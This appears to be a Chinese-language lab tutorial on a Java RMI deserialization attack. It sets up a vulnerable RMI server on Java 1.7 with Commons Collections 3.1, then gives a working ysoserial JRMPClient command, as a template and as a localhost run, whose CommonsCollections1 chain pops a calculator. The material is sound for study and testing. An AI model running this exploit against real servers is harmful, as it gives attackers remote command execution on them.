0x01 前言
来学习查看与Bind攻击类似相比另外一条更为底层的攻击路径
主要是知道怎么攻击的就可以了,现在的RMI攻击程序,写的很全能了
0x02 环境
编辑器为: IntelliJ IDEA
java版本:
java version "1.7.0_80"
Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)
使用的架包:
Commons Collections 3.1
0x03 攻击测试
0x03.1 案例介绍
0x03.2 创建服务端
// 目录结构
├── RMITest6
│ ├── RMITest6Interface.java
│ ├── RMIServer
│ │ ├── RMIServerTest6.java
│ │ └── RMITest6Impl.java
// 公共接口
package RMITest6;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RMITest6Interface extends Remote {
String test() throws RemoteException;
}
package RMITest6.RMIServer;
import RMITest6.RMITest6Interface;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RMITest6Impl extends UnicastRemoteObject implements RMITest6Interface {
protected RMITest6Impl() throws RemoteException {
super();
}
@Override
public String test() throws RemoteException {
return "test6~";
}
}
package RMITest6.RMIServer;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIServerTest6 {
// 注册中心的服务器ip
public static final String RMI_HOST = "127.0.0.1";
// 注册中心设置的开放端口
public static final int RMI_PORT = 9998;
// RMI服务名称
public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/t6";
public static void main(String[] args) {
try {
// 创建注册中心
LocateRegistry.createRegistry(RMI_PORT);
// 服务端
Naming.bind(RMI_NAME, new RMITest6Impl());
// 输出该对象的访问地址
System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
} catch (Exception e) {
e.printStackTrace();
}
}
}
// 运行它
// 我这里的ip是127.0.0.1
// 实际中肯定是外网地址例如: 101.34.246.17
0x03.3 攻击测试
// 下载ysoserial
// 然后按如下命令启动即可
java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPClient [服务器ip] [服务器开放RMI端口] [要使用的反序列化链] "要执行的命令"
java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 9998 CommonsCollections1 "open /System/Applications/Calculator.app"
// 运行结果
运行完毕以后,服务端会弹出一个计算器